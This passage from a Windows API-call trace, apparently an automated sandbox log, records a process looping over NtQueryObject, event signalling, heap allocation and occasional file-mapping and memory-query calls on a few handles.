ReturnLength=0x1e3ff90) returned 0x0 [0259.483] ResetEvent (hEvent=0x110) returned 1 [0259.483] SetEvent (hEvent=0x114) returned 1 [0259.483] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.483] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.483] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.483] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.483] ResetEvent (hEvent=0x110) returned 1 [0259.483] SetEvent (hEvent=0x114) returned 1 [0259.483] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.483] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.483] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.483] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.483] ResetEvent (hEvent=0x110) returned 1 [0259.483] SetEvent (hEvent=0x114) returned 1 [0259.483] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.483] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.484] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.484] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.484] ResetEvent (hEvent=0x110) returned 1 [0259.484] SetEvent (hEvent=0x114) returned 1 [0259.484] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.484] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.484] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.484] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.484] ResetEvent (hEvent=0x110) returned 1 [0259.484] SetEvent (hEvent=0x114) returned 1 [0259.484] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.484] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.484] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.484] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.484] ResetEvent (hEvent=0x110) returned 1 [0259.484] SetEvent (hEvent=0x114) returned 1 [0259.484] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.484] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.485] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.485] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.485] ResetEvent (hEvent=0x110) returned 1 [0259.485] SetEvent (hEvent=0x114) returned 1 [0259.485] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.485] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.485] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.485] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.485] ResetEvent (hEvent=0x110) returned 1 [0259.485] SetEvent (hEvent=0x114) returned 1 [0259.485] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.485] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.485] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.485] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.485] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.485] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.485] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.485] ResetEvent (hEvent=0x110) returned 1 [0259.485] SetEvent (hEvent=0x114) returned 1 [0259.485] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.486] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.486] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.486] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.486] ResetEvent (hEvent=0x110) returned 1 [0259.486] SetEvent (hEvent=0x114) returned 1 [0259.486] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.486] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.486] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.486] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.486] ResetEvent (hEvent=0x110) returned 1 [0259.486] SetEvent (hEvent=0x114) returned 1 [0259.486] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.486] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.486] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.486] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.486] ResetEvent (hEvent=0x110) returned 1 [0259.487] SetEvent (hEvent=0x114) returned 1 [0259.487] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.487] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.487] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.487] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.487] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.487] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.487] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.487] ResetEvent (hEvent=0x110) returned 1 [0259.487] SetEvent (hEvent=0x114) returned 1 [0259.487] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.487] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.487] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.487] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.487] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.488] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.488] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.488] ResetEvent (hEvent=0x110) returned 1 [0259.488] SetEvent (hEvent=0x114) returned 1 [0259.488] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.488] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.488] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.488] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.488] ResetEvent (hEvent=0x110) returned 1 [0259.488] SetEvent (hEvent=0x114) returned 1 [0259.488] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.488] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.488] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.488] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.488] ResetEvent (hEvent=0x110) returned 1 [0259.488] SetEvent (hEvent=0x114) returned 1 [0259.488] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.488] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.489] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.489] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.489] ResetEvent (hEvent=0x110) returned 1 [0259.489] SetEvent (hEvent=0x114) returned 1 [0259.489] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.489] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.489] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.489] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.489] ResetEvent (hEvent=0x110) returned 1 [0259.489] SetEvent (hEvent=0x114) returned 1 [0259.489] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.489] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.489] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.489] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.489] ResetEvent (hEvent=0x110) returned 1 [0259.489] SetEvent (hEvent=0x114) returned 1 [0259.489] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.489] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.490] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.490] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.490] ResetEvent (hEvent=0x110) returned 1 [0259.490] SetEvent (hEvent=0x114) returned 1 [0259.490] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.490] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.490] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.490] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.490] ResetEvent (hEvent=0x110) returned 1 [0259.490] SetEvent (hEvent=0x114) returned 1 [0259.490] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.490] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.490] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.490] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.490] ResetEvent (hEvent=0x110) returned 1 [0259.490] SetEvent (hEvent=0x114) returned 1 [0259.490] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.490] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.491] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.491] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.491] ResetEvent (hEvent=0x110) returned 1 [0259.491] SetEvent (hEvent=0x114) returned 1 [0259.491] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.491] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.491] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.491] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.491] ResetEvent (hEvent=0x110) returned 1 [0259.491] SetEvent (hEvent=0x114) returned 1 [0259.491] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.491] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.491] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.491] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.491] ResetEvent (hEvent=0x110) returned 1 [0259.491] SetEvent (hEvent=0x114) returned 1 [0259.491] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.491] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.492] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.492] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.492] ResetEvent (hEvent=0x110) returned 1 [0259.492] SetEvent (hEvent=0x114) returned 1 [0259.492] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.492] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.534] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.534] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.535] ResetEvent (hEvent=0x110) returned 1 [0259.535] SetEvent (hEvent=0x114) returned 1 [0259.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.535] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.535] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.535] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.535] ResetEvent (hEvent=0x110) returned 1 [0259.535] SetEvent (hEvent=0x114) returned 1 [0259.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.535] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.535] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.535] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.535] ResetEvent (hEvent=0x110) returned 1 [0259.535] SetEvent (hEvent=0x114) returned 1 [0259.535] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.535] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.536] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.536] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.536] ResetEvent (hEvent=0x110) returned 1 [0259.536] SetEvent (hEvent=0x114) returned 1 [0259.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.536] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.536] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.536] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.536] ResetEvent (hEvent=0x110) returned 1 [0259.536] SetEvent (hEvent=0x114) returned 1 [0259.536] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.536] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.536] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.536] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.536] ResetEvent (hEvent=0x110) returned 1 [0259.536] SetEvent (hEvent=0x114) returned 1 [0259.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.537] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.537] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.537] ResetEvent (hEvent=0x110) returned 1 [0259.537] SetEvent (hEvent=0x114) returned 1 [0259.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.537] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.537] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.537] ResetEvent (hEvent=0x110) returned 1 [0259.537] SetEvent (hEvent=0x114) returned 1 [0259.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.537] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.537] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.537] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.537] ResetEvent (hEvent=0x110) returned 1 [0259.538] SetEvent (hEvent=0x114) returned 1 [0259.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.538] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.538] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.538] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.538] ResetEvent (hEvent=0x110) returned 1 [0259.538] SetEvent (hEvent=0x114) returned 1 [0259.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.538] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.538] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.538] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.538] ResetEvent (hEvent=0x110) returned 1 [0259.538] SetEvent (hEvent=0x114) returned 1 [0259.538] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.538] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.538] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.538] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.539] ResetEvent (hEvent=0x110) returned 1 [0259.539] SetEvent (hEvent=0x114) returned 1 [0259.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.539] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.539] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.539] NtQueryObject (in: Handle=0x1b0, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.539] ResetEvent (hEvent=0x110) returned 1 [0259.539] SetEvent (hEvent=0x114) returned 1 [0259.539] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.539] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.539] RtlFreeHeap (HeapHandle=0x4a0000, 